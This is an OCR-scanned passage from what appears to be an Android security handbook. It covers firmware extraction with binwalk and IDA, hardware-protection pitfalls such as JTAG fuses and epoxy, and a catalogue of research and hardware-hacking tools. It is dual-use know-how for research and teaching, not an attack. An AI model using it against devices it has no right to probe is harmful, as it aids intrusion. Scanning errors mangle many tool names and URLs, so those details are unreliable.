are looking at. Sometimes this might require walking through the file in a hex 
editor to glean clues about what is in the big binary blob. 
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In many cases, the extracted firmware image is not just the firmware. It might 
also include tiny file systems like CramFS, JFFS2, or Yaffs2. In cases where you 
extracted data from NAND flash, these binary blobs are likely to be strictly the 
tiny file systems. Tools like bi nwa! k can detect these and provide a bit more 
information about the contents of a binary blob. bi nwal k uses heuristics to 
locate recognizable structure in files. The following excerpt shows an example 
of using bi nwal k: 


[s7ephen@xip ~]$ binwalk libc.so 
[var/folders/jb/dlpdf3nsist bl cddnxs7glsc0000gn/T/tmpzP9ukC, 734 
Warning: New continuation level 2 is more than one larger than current 


level 0 

DECI MAL HEX DESCRI PTI ON 

0 0x0 ELF 32-bit LSB shared object, ARM 
version 1 (SYSV) 

271928 0x42638 CramFS filesystem, little endian 


size 4278867 hole_support CRC 0x2f74656b, edition 1886351984 
2037674597 blocks, 1919251295 files 


In this simplified example, we execute bi nwal k on! i bc. so extracted from an 
Android device. You can see it correctly identifies the contents of the file as an 
Executable and Linking Format (ELF) and what it suspects to be a tiny CramFS 
file system on the end. 

bi nwal k is not a silver bullet. It often fails to identify the contents of binary 
files. This tends to happen more commonly on the image extracted from targets 
such as CPUs (specifically the CPUs embedded flash) and NAND. The following 
excerpt demonstrates an attempt to use binwalk on an extracted firmware image. 


s7Tephen@xip ~]$ 

s7s-macbook-pro:firmware_capture s7$ Is -alt Stm32_firmware. bin 
-rwxrwxrwx 1 s7 staff 1048576 Mar 14 2013 Stm32_firmware. bin 
sTephen@xip ~]$ binwalk Stm32_firmware. bin 
[var/folders/jb/dlpdf3nsist bl cddnxs7glsc0000gn/T/tmprDZue9, 734 
Warning: New continuation level 2 is more than one larger than current 
evel 0 


DECI MAL HEX DESCRI PTI ON 


s7ephen@xip ~] $ 


In the preceding example, bi nwal k fails to identify anything within a one 
megabyte binary image extracted from an STM32 microprocessor. In these cases, 
unfortunately, manual review of the binary image and custom development is 
generally the only recourse. 
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Importing into IDA 


If you know enough about the binary image to carve out any unnecessary bits, 
or if the executable binary image was obtained using other means, then import- 
ing into IDA is the next step. Importing binary images into IDA often requires 
some shoe-horning. Loading a binary from an embedded system into IDA is 
unfortunately not as straightforward as it is with ELFs, Mach-O, and Portable 
Executable (PE) executable images. That said, IDA does offer a lot of functional- 
ity to assist the reverse engineer with loading and parsing firmware images. 

When loading a firmware image into IDA, you generally have to follow a 
three-step process. First, open the file with IDA and select Binary File or Dump 
as shown in Figure 13-44. 


i. New disassembly database 


Windows | DOS Unix | Mac Java NET Various OS's | 
PDAs/Handhelds/Phones || Consoles || Embedded Various files 


2 


oO 
Unknown File 


Figure 13-44: IDA select Binary File 


Next, select the target’s architecture from the dialog shown in Figure 13-45. 
You need to know enough about the architecture of your target processor to 
select it (or one close to it). 

Finally, you need to know enough about your target to complete the form 
shown in Figure 13-46. This dialog essentially informs IDA about the entry point 
of the binary. You can gather some of this information from the specifications 
sheet of your target processor. 
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Binary/Raw File file loading Wizard 


Processor Selection 
With which processor module would you like IDA to analyze the input file? 


A 
processors: ARM?10a 

ARM processors: ARMB 
ARM processors: xScaleB 
ARM processors: xScaleL 
Alpha series: alphab 
Alpha series: alphal 
Analog Devices ADSP 218x: ad218x 
Angstrem KR1878: kr1878 
Atmel AVR series: avr 
Atmel OAK DSP: oakdsp 
DEC series: PDP11 
Fujitsu F2MC: F2MC16L 
Fujitsu F2MC: F2MC16LX 
Fujitsu FR 32-Bit Family: fr 
Hitachi: SH3 


Use nti. CUID 


v 


Figure 13-45: IDA select processor 


Disassembly memory organization 


FRAM 
C] Create RAM section 


RAM start address [oxoooooo00 | 
RAM size 0x00000000 


TROM 
Create ROM section 


ROM start address 0xFFC00000 
ROM size [0x002E2030  ] 


(Input file 


Loading address OxFFCO0000 


File offset 0x00000000 


Loading size 0x002E2030 


Additional binary files can be loaded into the database 
using the "File, Load file, Addtional binary file" command. 


Figure 13-46: Specifying Load Addresses in IDA Pro 


At this point, if you are fortunate, IDA loads the binary. When used to reverse 
engineer PEs, ELFs, or Mach-O binaries you may have only noticed Fast Library 
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Identification and Recognition Technology (FLIRT) when it has failed to help 
you (disassembling function entry or incorrectly identifying structures, for 
example). But with firmware reverse engineering, FLIRT really shines. You 
can access the FLIRT dialogs at any time by selecting the flower icon from the 
toolbar as shown in Figure 13-47. 


File Edt “Search View Debugger Options Windows Help 
g| -+ whl) 1 || Tex v | mov vis =“#x/|Som/2 Es | 
CREARE se io GS ND VSS) pe 
Å En $ oN X||° Bow e A se $F |) Ud mF A X 
= & g R f AN 


Open signatures window (Shift+F5) 
Figure 13-47: IDA FLIRT Signatures Toolbar icon 


Much like bi nwal k, FLIRT combs through the file looking for signatures that 
you can then apply to parts of your binary. Instead of identifying common binary 
file formats or file systems, FLIRT signatures aim to identify the compiler used 
to generate the code. If any FLIRT signatures match the firmware, the dialog 
shown in Figure 13-48 displays so you can select the correct signature set. 


List of available library modules DER 


Library name 

"Canon A-Series Firmware" 

ARM library big endian 

ARM library little endian 

Windows CE runtime & MFC for ARM 
Startups of PE files 

Primary FW a610e 


Lox _}{ Cancel || Help Mf Search 


Figure 13-48: IDA applying FLIRT signatures 


This whole process is very much imperfect, but there are use cases for it on 
the Internet (generally for video game ROMs and such). Anticipate spending 
time fiddling with IDA configurations quite a bit. Even when the binary appears 
to be properly loaded in IDA, you can also anticipate performing quite a few 
additional fix-ups in the middle of the disassembly. In the case of ARM code, 
additional fix-ups will likely be required because IDA will likely have difficulty 
identifying the function entry points or the instruction mode (ARM or THUMB). 
You'll simply have to perform these bits manually or make use of custom IDC 
or IDA Python scripts to help you out. 
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Pitfalls 


Hardware-based reverse engineering and vulnerability research can be extremely 
rewarding but not short of some complicating factors that can be quite frustrating 
to overcome. As such, here are some common pitfalls that you might encounter. 


Custom Interfaces 


Perhaps one of the most time-consuming and potentially annoying things to 
encounter on devices is custom hardware interfaces on seemingly standard 
pins. Generally these custom interfaces pique your interest based on their 
location on the PCB, such as close to the main processor. Tracing the lines from 
these interfaces to pins on the processor can often yield useful information. For 
example, if several lines are traced to pins that you know from the data sheet 
are responsible for USART (Universal Synchronous and Asynchronous) or JTAG 
then you can often deduce that these are debugging interfaces. These kinds of 
interfaces are often also situated close to the target processor. 

However due to the unfamiliar interface, in these cases you will often need 
to find the mating connector for the questionable interface and break out the 
pins to more standard headers. 

A company called SchmartBoard makes hundreds of little boards that you 
can use to build break-outs for strange connectors and other SMT (surface 
mounted) components. 


Binary/Proprietary Data 


Standard interfaces, such as UART, I’C, and SPI are commonly used for plain-text 
data such as interactive consoles, boot messages, and debug output. However, 
in many cases — especially in the case of non-Linux and non-Android-based 
systems such as those that run an RTOS — the bus uses a proprietary protocol. 
In some cases this is manageable, such as if the proprietary protocol is entirely 
ASCII based. With an entirely ASCII-based protocol you have immediate con- 
firmation that you have things properly configured. The fact that you can see 
text is a good sign. You're often also able to quickly identify patterns such as 
recurring characters that act as delimiters for the protocol, or a certain unifor- 
mity in formatting (e.g., sequences of floating point numbers). 

However, you may encounter cases where the data on the bus is entirely 
binary. In these cases it can be difficult to even be sure that you have correctly 
interfaced with the device. Did you get the wrong baud rate and data encoding? 
In these circumstances sometimes a combination of other techniques, such as 
directly accessing the firmware, can be used to help figure out what is going on. 
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If you are observing the mystery data on a bus between components, some- 
times spying on it (using previously described techniques) and writing some 
simple protocol replication code to replay it will help; you might even find bugs 
along the way. 


Blown Debug Interfaces 


There are many JTAG defenses, but perhaps the most common is referred to as 
a JTAG fuse. These fuses can be physical (physically disconnect the JTAG lines 
internal to the processor) or software based. Defeating either requires advanced 
techniques that are outside the scope of this text. However, defeating them is pos- 
sible (specifically for software fuses). Ralph Phillip Weinmann briefly discusses 
these techniques to re-enable JTAG debugging in the baseband processor of his 
HTC Dream in his USENIX paper “Baseband Attacks: Remote Exploitation of 
Memory Corruptions in Cellular Protocol Stacks.” Kurt Rosenfeld and Ramesh 
Karri have written another in-depth paper on JTAG defenses entitled “JTAG: 
Attacks and Defenses,” although this paper focuses more on the general theory of 
attacks and a proposed defense. Additionally, you can find resources on defeating 
the blown software fuses for specific devices on some online developer forums. 


Chip Passwords 


Some microcontroller manufacturers do not allow the device to be flashed unless 
a user-definable password is used. These passwords are a string of bytes that 
are sent to the bootstrap loader in the chip. This prevents flashing, but some 
microcontroller vendors only enable some debug functionality if a “physical” 
password is supplied to the chip. 


Boot Loader Passwords, Hotkeys, and Silent Terminals 


Some boot loaders, such as U-Boot, offer some security options to embedded 
developers. U-Boot has some security features that enable a developer to hide 
the U-Boot output or require a special hotkey, password, or special byte sequence 
over UART before entering an interactive U-Boot session. These cases tend to be 
rare as security conscious manufacturers would likely hide the UART interface 
as well, but they are not unheard of. Generally the firmware and hardware 
designers are working separately within a company or possibly even subcon- 
tracted out. In these cases, some more advanced techniques outside the scope 
of this text may be required to subvert these protections. 

In some cases, boot messages from the boot loader, and even the operating sys- 
tem, may be observable, but then the line goes silent or begins spewing garbage. 
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Sometimes, you are lucky, and the problem is merely a matter of the baud rate 
changing. In other cases, there are custom debug interfaces that you should attach, 
or you might need a driver that uses binary data to transmit debug information 
to a custom piece of software monitoring the UART interface of a device. 


Customized Boot Sequences 


There are times you may rejoice at finding and successfully interfacing with 
UART (or some debugging output interface). You will watch it load the boot 
loader and boot into the kernel. You'll watch drivers initialize and perhaps 
even rub your hands together in devilish anticipation for a login prompt—but 
it doesn’t come. Why? 

When this happens, generally the distribution of Linux or Android has been 
customized to not execute the! ogi n process. In many cases, embedded develop- 
ers start their core processes directly after boot. Many of these kinds of applica- 
tions have a proprietary (often binary) protocol to communicate with a custom 
remote control or debugging/diagnostic client. A client such as this would run 
on a PC connected to the device via UART. 

In cases like this, you'll miss the familiar login prompt but you can employ 
other techniques to subvert the device. Perhaps breaking into the boot loader 
will give you access to the firmware image, or perhaps physically accessing the 
flash storage will provide a copy of the file system image to investigate further. 
These are simply some things you may try, but this might require some further 
investigation if simple attempts like this are unsuccessful. 


Unexposed Address Lines 


Previously in this chapter we mentioned that manufacturers will sometimes 
sandwich components like NAND flash on top of a microcontroller to save space 
on a PCB in a configuration known as PoP. Recall that such configurations can 
make it difficult to identify the serial/part number for a microcontroller. There 
is another pitfall to these kinds of PoP configurations. 

In the case where a flash chip is mounted on a microcontroller in a POP 
configuration, one drawback is that the pins of the flash chip are not exposed. 
In fact, there are no pins. Therefore, in these cases, you cannot easily employ 
de-soldering techniques to remove the flash and read its contents. Therefore, 
the only way (barring some advanced and tedious chip-separation techniques) 
to access the contents of flash is to access it through the microcontroller. If the 
microcontroller does not have debugging capabilities disabled then this is pos- 
sible. However, if, for example, the JTAG fuses have been blown, it might not be 
possible to easily access that data. 
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Anti-Reversing Epoxy 


There may be some targets that you dismantle only to find that the PCB has 
been coated in a glossy or matte black or blue material. Sometimes this is done 
by manufacturers to protect the components from weather or condensation. But 
in most cases it is to prevent someone from easily connecting to components 
with probes or to prevent de-soldering components to read data from them. 
Some of these are simple to defeat with a razor or the combination of a razor 
and the focused heat of a heat gun. 

Other, more expensive epoxies are mixed with a silicon-based compound. 
This is to thwart people from using chemical compounds to dissolve the epoxy. 
The reason for the silicon-based additives is that any chemical solvent that can 
dissolve the additive will likely also dissolve and destroy the silicon in the PCB 
and the component it is meant to protect, thus completely destroying the device. 


Image Encryption, Obfuscation, and Anti-Debugging 


We have not encountered many embedded consumer devices that use these 
techniques. Reverse engineers familiar with PC and mobile malware might 
immediately think of the encryption and obfuscation techniques such as those 
used in malicious software for desktop computers (dead code preceded by jumps, 
runtime deobfuscation, and so on). Although there are probably a number of 
clever and custom ways to do this within the constraints of the components of 
a device, they don’t seem to be too common in embedded devices because of 
the constraints of space and computing power of a device. 

For example, an encrypted bare-metal executable that decrypted itself on the 
fly might seem like an immediate solution. However, on an embedded system 
with limited RAM there may not be enough room for the full image to load. 
Additionally, flash memory decays with each write, so most embedded devel- 
opers avoid writing to flash during execution. If an executable image is unable 
to perform unpacking in RAM, it would have to modify itself in flash. Doing 
this on every boot of the device would not only be slow, but it would wear the 
storage media more quickly. 


Summary 


This chapter is designed to bring even the most uninitiated reader up to speed 
on successfully leveraging physical access to attack embedded hardware such 
as Android devices. It covered several different types of interfaces that are 
commonly exposed in embedded devices, including UART, JTAG, °C, SPI, USB, 
and SD cards. It explained the how and why of identifying and communicating 
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with these interfaces. Utilizing these interfaces, researchers are able to achieve 
a deeper understanding of the target device. 

A popular goal of physical attacks against hardware is to discover, design, 
and implement further attacks that do not require physical access. Using a host 
of commercially and freely available tools, this chapter explained how accessing 
these interfaces can provide access to the device's firmware. Reverse engineering 
the firmware provides deep insight into how the device works and may even 
reveal some critical vulnerabilities. 

Finally, we presented potential pitfalls that you might encounter when attempt- 
ing to apply these tools and techniques in practice. Whenever possible, we rec- 
ommended ways to conquer these challenges and achieve success despite them. 
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This appendix includes a list of publicly available tools that have proven useful 
for conducting security research on the Android operating system. This is by 
no means an exhaustive list. For example, this list does not include the tools 
we developed and included with this book. Also, new tools are created and 
released every now and then. 


Development Tools 


Most of the tools described in this section are aimed at application developers, 
although security researchers may also use them for building proof of concept 
programs, debugging applications, or coding exploits specific to the Android 
platform. 


Android SDK 


The Android Software Development Kit (SDK) provides a set of core develop- 
ment tools, application programming interface (API) libraries, documentation, 
and sample Android applications. The SDK, together with the Java Development 
Kit and Apache Ant, is necessary for building, testing, and debugging Android 
applications. 
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The Android emulator, which is based on QEMU (short for “Quick EMUlator”), 
is also included in the SDK. Developers can test the applications developed using 
the SDK in an emulated environment without the need for a real Android device. 

The Android SDK is available for Linux, Mac OS X, and Windows platforms. 
You can find it at http://developer.android.com/sdk/index. html. 


Android NDK 


The Android Native Development Kit (NDK) contains everything needed to 
develop native applications and libraries using C and C++. The NDK includes 
a complete toolchain that can cross-compile native code for ARM, MIPS, and 
x86 platforms on Linux, OS X, or Windows. You can find the Android NDK at 
http://developer.android.com/tools/sdk/ndk/index. html. 


Eclipse 


Eclipse is a multilanguage Integrated Development Environment (IDE) that 
includes an extensible plug-in system, providing a wide variety of features such 
as version control systems, code debugging, UML, database explorers, etc. It has 
been the officially supported IDE for Android development since early versions 
of the Android SDK. You can find Eclipse at www. eclipse. org/. 


ADT Plug-In 


Android offers a custom Eclipse plug-in, the ADT plug-in, which extends Eclipse’s 
capabilities to facilitate Android development. The ADT plug-in enables devel- 
opers to set up Android projects. Using the plug-in, developers can design 
Android user interfaces using a graphical editor, as well as build and debug 
their applications. You can find the ADT plug-in at htt p://devel oper. android 
com sdk/installing/installing-adt. html. 


ADT Bundle 


The Android Developer Tools (ADT) bundle is a single download that con- 
tains everything needed for developers to start creating Android applications. 
It includes the following: 


m The Eclipse IDE with built-in ADT plug-in 


m The Android SDK tools including the Android emulator and Dalvik Debug 
Monitor Server (DDMS) 
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m The Android platform-tools including the Android Debug Bridge (ADB) 
and fastboot 


m The latest android platform SDK and system image for the emulator 


You can download the ADT bundle from htt p:// developer. android. com/ 
sdk/installing/ bundle. html. 


Android Studio 


Android Studio is an IDE based on IntelliJ IDEA. It targets Android development 
specifically. At the moment of this writing, it is still an early access preview. 
As such, it still contains some bugs and unimplemented features. It is quickly 
gaining popularity among Android developers, of which many are switching 
from the traditionally used Eclipse IDE. Find out more about Android Studio 
athttp://developer. android.com/sdk/installing/studio. htm. 


Firmware Extraction and Flashing Tools 


When conducting security research it is common to flash devices with different 
firmware versions. On occasion, researchers might also need to return a device 
from a non-booting state. This requires flashing a stock firmware image to return 
the device to normal operating mode. Sometimes vendors distribute firmware 
packed in proprietary formats, making them more difficult to analyze. If the 
format is known, usually there is a tool available to extract the original contents 
of the firmware. This section presents the most commonly used tools to extract 
firmware and flash devices. 


Binwalk 


When conducting analysis on firmware images in unknown formats, Binwalk 
is indispensable. It is similar to the fi | e utility, but instead scans for signatures 
throughout large binaries. It supports several compression algorithms and is 
able to extract archives and file system images embedded within a firmware 
blob. You can read more about Binwalk at htt p://binwalk.org/. 


fastboot 


The fastboot utility and protocol allows communicating with the boot loader of 
an Android device connected to a host computer via Universal Serial Bus (USB). 
Using the fastboot protocol, the fastboot utility is often used to manipulate the 
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contents of the device’s flash memory by flashing or erasing full partitions. You 
can also use it for other tasks, such as booting a custom kernel without flashing it. 
All Nexus devices support the fastboot protocol. Android device manufactur- 
ers are allowed to choose if they want to support fastboot or implement their 
own flashing protocol in their device’s boot loaders. 
The fastboot command-line utility is included with the Android platform 
tools in the Android SDK. 


Samsung 


There are several tools for flashing Samsung devices. The format used in Samsung 
firmware updates is *. tar. md5, which consists basically in at ar archive file 
with the md5 of thet ar archive appended at the end. Each file contained inside 
the tar. md5 archive corresponds to a raw partition on the device. 


ODIN 


ODIN is the Samsung proprietary tool and protocol used to flash and re-partition 
Samsung devices in download mode. In this mode, the boot loader expects to 
receive data from the host computer via the USB port. Although Samsung has 
never released the standalone Odin tool, it is widely used by enthusiasts on several 
Internet forums. It makes it possible to flash Samsung devices using the ODIN 
protocol without installing the full Samsung desktop software. This software 
works only on Windows and requires installing proprietary Samsung drivers. 


Kies 


The officially supported software for updating Samsung devices is the Kies 
desktop software. It is able to check for updates on Samsung’s website and sync 
the device’s data with the computer prior to flashing it. Kies is available for both 
Windows and Mac OS X. You can download Kies from www. samsung. com/ kies/. 


Heimdall 


Heimdall is an open source command-line tool that makes it possible to flash 
Samsung firmware in ODIN mode, also known as download mode. It uses the 
popular USB access library | i busb and works on Linux, OS X, and Windows. 
You can find Heimdall at www. gl assechidna.com. au/products/hei mdall/. 
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NVIDIA 


Most Tegra devices have an NVIDIA proprietary recovery mode which enables 
you to reflash them, independently of which vendor has manufactured the device. 


nvflash 


NVIDIA Tegra devices are usually flashed using nvf!ash,a tool released by 
NVIDIA for Linux and Windows. It allows communicating with Tegra devices 
in a low-level diagnostic and device programming mode called APX mode. 
Accessing APX mode also requires installing proprietary NVIDIA drivers on 
Windows. You can download nvf| ash from 


http: //http.downl oad. nvidia. com/tegra-public-appnotes/ 
flashing-tools. html # nvflash 


LG 


LG devices include an Emergency Download Mode (EDM) used to flash the device 
firmware. You can usually access it with a device-dependent key combination. 


LGBinExtractor 


LGBinExtractor is an open source command-line tool for extracting the contents 
of LG’s BIN and TOT firmware files. It can split BIN files into the contained 
partitions, split TOT files into blocks and merge those blocks into the contained 
partitions, as well as display partition table information. You can find out more 
about LGBinExtractor at https: // github. com/Xonar/LGBinExtractor. 


LG Mobile Support Tool 


The Mobile Support tool from LG is the proprietary tool to flash LG devices. 
It is available only for the Windows operating system and requires installing a 
proprietary LG driver as well. Visit www. | g. com/us/support/ mobil e-support 
to find out more about the LG Mobile Support tool. 


HTC 


HTC devices have used various proprietary formats for flashing Android devices. 
First HTC used signed NBH files that contained raw partitions. Later, HTC 
started using standard zip files containing the partition images. Most recently, 
HTC has added encryption to those zip files. 
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unruu 


HTC distributes its software updates packaged in a Windows executable, known 
as ROM Update Utility (RUU). This executable extracts a zip file to a temporary 
folder and restarts the device in HBOOT mode to flash it. 

The unruu utility is a simple Linux command-line tool that enables you to 
extract the ROM zip file from inside the RUU update executable. You can find 
unruu athttps://github. com kmdm/unruu. 


ruuveal 


In 2012, HTC started encrypting the ROM zip files contained inside the RUU 
executable with a proprietary algorithm. However, the key to decrypt those zip 
files is contained in the device’s HBOOT. 

The ruuveal utility enables you to decrypt those encrypted zip files, which 
renders them usable with any standard zip utility. Visit https: // github. com 
/kmdm/ruuveal. 


Motorola 


This section presents the common tools to extract firmware files and flash 
Motorola devices. 


RSD Lite 


RSD Lite is a proprietary flashing tool for Motorola devices, which is widely 
available on the Internet. RSD Lite enables you to flash Single Binary File (SBF) 
firmware files to Motorola devices. It is available only for Windows and requires 
installing proprietary Motorola drivers. 


sbf_flash 


The sbf_flash utility is a simple command-line utility that duplicates the 
functionality of RSD Lite and enables you to flash SBF files to Motorola devices 
on Linux and Mac OS X. Find out more abouts bf flash athttp://blog 
opticaldelusion.org/search/label/sbf_flash. 


SBF-ReCalc 


The SBF-ReCalc tool enables you to split Motorola flash files into separate files 
contained on them. It also enables you to create new SBF files and recalculates the 
correct checksum. It is available for Windows, Linux and OS X. Unfortunately, 
it doesn’t seem to be maintained anymore. You can find it by searching the 
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Internet or visiting https: // web. archive. org/ web/20130119122224/ http: 
//and-developers.comsbf. 


Native Android Tools 


When working at the Android command-line interface, researchers often find 
themselves limited by the small set of commands provided by the Android 
toolbox utility. This section covers the minimal set of utilities that will allow 
a security researcher to inspect and debug Android applications more quickly 
and comfortably. 


BusyBox 


BusyBox is a single binary that provides simplified versions of multiple UNIX 
utilities. It has been specially created for systems with limited resources. Using 
a single binary makes it easy to transport and install. Also, it saves both disk 
space and memory. 

Each application can be accessed by calling the bus ybox binary in one of two 
ways. The most typical way is accomplished by creating a symbolic link using 
the name of each utility supported by the busybox binary. Some versions of 
BusyBox implement the - - instal! parameter to automate this process. You 
can also call each utility by passing the application name as the first parameter 
to the busybox binary. 

If you don’t want to compile BusyBox yourself, several Android builds are freely 
available through Google Play store. Visit www. busy box. net/ to find out more. 


setpropex 


setpropex is a system properties editor very similar to the set prop utility 
that comes with Android. In addition to the functionality offered by set prop, 
setpropex also implements changing read-only system properties by attach- 
ing to thei ni t process using pt race. You can download it fromhtt ps:// docs 
google. com/open?id=0B8LDObFOpzZqY2E1MTI yNzUtYTKZNSOOMTUWLW) mODAt Z 
TYzZGY2MDZm0Tg1. 


SQLite 


A lot of Android applications use the SQLite database engine to manage their 
own private databases or to store data exposed through a content provider. 
Having asqlite3 binary on the device itself makes command-line client access 
to those databases very convenient. When auditing applications that use SQLite 
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databases, researchers can execute raw SQL statements to inspect or manipulate 
the database. Visit www. sgl ite.org/ to find out more. 


strace 


strace isa useful diagnostic tool that enables you to monitor and trace the 
system calls executed by a process. It also shows which signals the program 
receives and allows saving its output to disk. It is very useful for doing a quick 
diagnostic and minimal debugging of native programs, especially when source 
code is not available. You can download st race fromhttp://sourceforge 
.net/projects/strace/. 


Hooking and Instrumentation Tools 


Sometimes you want to inspect or alter the behavior of an application for which 
source code is not available. Sometimes you want to change or extend its func- 
tionality at runtime, trace its execution flow, and so on. The tools described in 
this section provide a comfortable way for security researchers to hook and 
instrument Android applications. 


ADBI Framework 


This Dynamic Binary Instrumentation (DBI) framework, created by Collin 
Mulliner, enables you to change a process at runtime by injecting your own code 
into the process. For example, it contains sample instruments used to sniff Near 
Field Communications (NFC) between the NFC stack process and the NFC chip. 
You can find out more about ADBI Framework at www. mul li ner. org/android/. 


Idpreloadhook 


The Idpdreloadhook tool facilitates function-level hooking of native programs 
that are dynamically linked. This is accomplished using the L D_PRELOAD envi- 
ronment variable. Among other things, it allows printing the contents of buffers 
before they are freed. This is especially useful when reverse-engineering native 
binaries. Visithtt ps://github.com/poliva/!dprel oadhook for more information. 


XPosed Framework 


XPosed framework enables you to modify the system or applications aspect 
and behavior at runtime, without modifying any Android application package 
(APK) or re-flashing. 
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This framework is hooked into Zygote by replacing the app_ process binary. 
It allows replacing any method in any class. It is possible to change parameters 
for the method call, to modify the method’s return value, to skip the method 
call, as well as replace or add resources. This makes it a powerful framework 
to develop system modifications in runtime that can affect either any applica- 
tion or the Android Framework itself. You can find out more at htt p:// forum 
.xda-developers.com/showt hread. php?t =1574401. 


Cydia Substrate 


Cydia Substrate for Android enables developers to make changes to existing 
software with Substrate extensions that are injected into the target process’s 
memory. 

Substrate is similar in functionality to XPosed Framework. However, it doesn’t 
replace any system components to work. Further, it allows injecting your own 
code into every single process. That means it can hook native code as well as 
Dalvik methods. Substrate provides well-documented core application program- 
ming interfaces (APIs) for making modifications to C and Java processes. Read 
more about Cydia Substrate at www. cydiasubstrate.com/. 


Static Analysis Tools 


This section presents the tools that we find useful when doing static analysis 
of Android applications. As Dalvik (the Android’s Java virtual machine [VM] 
implementation) bytecode can be easily translated into Java bytecode, some tools 
described here are not specifically written to use with Android. 


Smali and Baksmali 


Smali is an assembler for the Dalvik executable (DEX) format. Baksmali is the 
equivalent disassembler for Dalvik bytecode. Smali supports the full function- 
ality of the DEX format including annotations, debug info, line info, and so on. 

Smali syntax is based on Jasmin and dedexer. Jasmin is the de facto standard 
assembly format for Java. dedexer is another DEX file disassembler that sup- 
ports Dalvik op-codes. Check out htt ps:// code. google. com/p/smali/ for 
more information. 


Androguard 


Androguard is an open source reverse-engineering and analysis framework 
written in Python. It can transform Android's binary extensible markup language 
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(XML) into readable XML and includes a Dalvik decompiler (DAD) that can 
decompile directly from Dalvik bytecode to Java source. 

Androguard can disassemble, decompile, and modify DEX and Optimized 
Dalvik executable (ODEX) files, and format them into full Python objects. It has 
been written with modularity in mind and allows for integration into other 
projects. It provides access to perform static code analysis on objects like basic 
blocks, instructions, and permissions. Find out more about Androguard at 
https://code. google.com p/androguard/. 


apktool 


apktool is an open source Java tool for reverse-engineering Android applica- 
tions. It can decode APK files into the original resources contained in them in 
human-readable XML form. It also produces disassembly output of all classes 
and methods contained using Smali. 

After an application has been decoded with apkt 001 , you can work with the 
output produced to modify resources or program behavior. For example, you 
can translate the strings or change the theme of an application by modifying 
resources. In the Smali code, you can add new functionality or alter the behav- 
ior of existing functionality. After you're done with your changes, you can use 
apktool to build an APK from the already decoded and modified application. 
Visit https://code.google.com/p/android-apktool/. 


dex2jar 


dex2j ar is an open source project written in Java. It provides a set of tools to 
work with Android DEX and Java CLASS files. 

The main purpose of dex2j ar is to convert a DEX/ODEX into the Java Archive 
(JAR) format. This enables decompilation using any existing Java decompiler, 
even those not specific to Android bytecode. 

Other features of dex2j ar include assembling and disassembling class files 
to and from Jasmin, decrypting strings in place inside a DEX file, and signing 
APK files. It also supports automatically renaming the package, classes, methods, 
and fields inside DEX files, which is especially useful when the bytecode has 
been obfuscated with ProGuard. You can read more at https://code. google 
.com/ p/dex2jar/. 


jad 
Java Decompiler (jad) is a closed source and currently unmaintained decompiler 


for the Java programming language. jad provides a command-line interface to 
produce readable Java source code from CLASS files. 
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jad is often used with dex2j ar to decompile closed source Android applica- 
tions. You can download jad from htt p://varaneckas.com/jad/. 


JD-GUI 


JD-GUIL is a closed source Java decompiler that reconstructs Java source code 
from CLASS files. It provides a graphical interface to browse the decompiled 
source code. 

Combined with dex2j ar , you can use JD-GUI to decompile Android appli- 
cations. It is often used to supplement or complement j ad. Sometimes one 
decompiler produces better output than the other. Find out more at http: // 
jd. benow. ca/#jd-gui. 


JEB 


JEB is a closed source, commercial Dalvik bytecode decompiler that produces 
readable Java source code from Android’s DEX files. 

Similar to Androguard’s decompiler DAD, JEB does not need the use of 
dex2j ar conversion to create the Java source. The main advantage of JEB 
is that it works as an interactive decompiler that enables you to examine 
cross-references, navigating between code and data, and deal with ProGuard 
obfuscation by interactively renaming methods, fields, classes, and packages. 
Visit www. android-decompiler.com/ to find out more about JEB. 


Radare2 


Radare?2 is an open source, portable reverse-engineering framework to manipu- 
late binary files. It is composed of a highly scriptable hexadecimal editor witha 
wrapped input/output (I/O) layer supporting multiple back ends. It includes 
a debugger, a stream analyzer, an assembler, a disassembler, code analysis mod- 
ules, a binary diffing tool, a base converter, a shell-code development helper, a 
binary information extractor, and a block-based hash utility. Although Radare2 
is a multipurpose tool, it is especially useful for disassembling Dalvik bytecode 
or analyzing proprietary binary blobs when dealing with Android reverse 
engineering. 

As Radare2 supports multiple architectures and platforms, you can run it 
either on the Android device itself or on your computer. Visit www. radare 
.org/ to download it. 
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IDA Pro and Hex-Rays Decompiler 


The Interactive Disassembler, commonly known as IDA, is a proprietary disas- 
sembler and debugger that is able to handle a variety of binaries and processor 
types. It offers features such as automated code analysis, an SDK for develop- 
ing plug-ins, and scripting support. Since version 6.1, IDA includes a Dalvik 
processor module to disassemble Android bytecode in the Professional Edition. 

The Hex-Rays Decompiler is an IDA Pro plug-in that converts the disassembled 
output of x86 and ARM executables into a human readable C-like pseudo-code. 
You can read more athttps://www. hex-rays.com/. 


Application Testing Tools 


This section presents tools that do not exactly fit well with the other sections 
of this appendix; those tools are used mostly to conduct security testing and 
vulnerability analysis of Android applications. 


Drozer (Mercury) Framework 


Drozer, formerly known as Mercury, is a framework for hunting for and exploiting 
vulnerabilities on Android. It automates checking for common things such as 
exported activities, exported services, exported broadcast receivers, and exported 
content providers. Further, it tests applications for common weaknesses such 
as SQL injection, shared user IDs, or leaving the debuggabl e flag enabled. Go 
tohttp://mwr.to/mercury to find out more about Drozer. 


iSEC Intent Sniffer and Intent Fuzzer 


iSEC Intent Sniffer and Intent Fuzzer, two tools from iSEC Partners, run on the 
Android device itself and help the security researcher in the process of monitor- 
ing and capturing broadcasted intents. They find bugs by fuzzing components 
such as broadcast receivers, services, or single activities. You can read more about 
the tools at https: //www.isecpartners.com/tools/mobile-security. aspx. 


Hardware Hacking Tools 


Leveraging physical access to attack embedded devices is made easier through 
the use of several specialized tools. These tools include custom devices and soft- 
ware that focus on filling a specific need. Whether you're targeting an Android 
device or some other embedded device, these tools will help you along the way. 
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Segger J-Link 


Segger’s J-Link device is a middle-tier JTAG debug probe. You can use it to 
interface with a variety of different JTAG-enabled devices. More information 
is available at http://www. segger.com/debug- probes. html. 


JTAGulator 


Joe Grand’s JTAGulator device saves time when identifying the purpose of 
unknown test points on a device. It only requires you to connect wires to the 
test points once and then automatically determines each pin’s purpose. You can 
find more information about JTAGulator at ht tp://www. grandi deastudio.com/ 
portfolio/jtagulator/. 


OpenOCD 


The Open On-Chip Debugger (OpenOCD) software is an open source solu- 
tion for interfacing with various JTAG-enabled devices. It allows you to use 
less expensive JTAG adapters and quickly modify the code as needed for your 
project. Read more about OpenOCd at http: //openocd. sourceforge. net). 


Saleae 


Salae’s logic analyzers enable you to monitor electrical signals in real time. With 
features like real-time decoding and support for many protocols, a Salae makes 
monitoring data traversing circuits more fun and easy. Further information is 
available at http://www. saleae.com/. 


Bus Pirate 


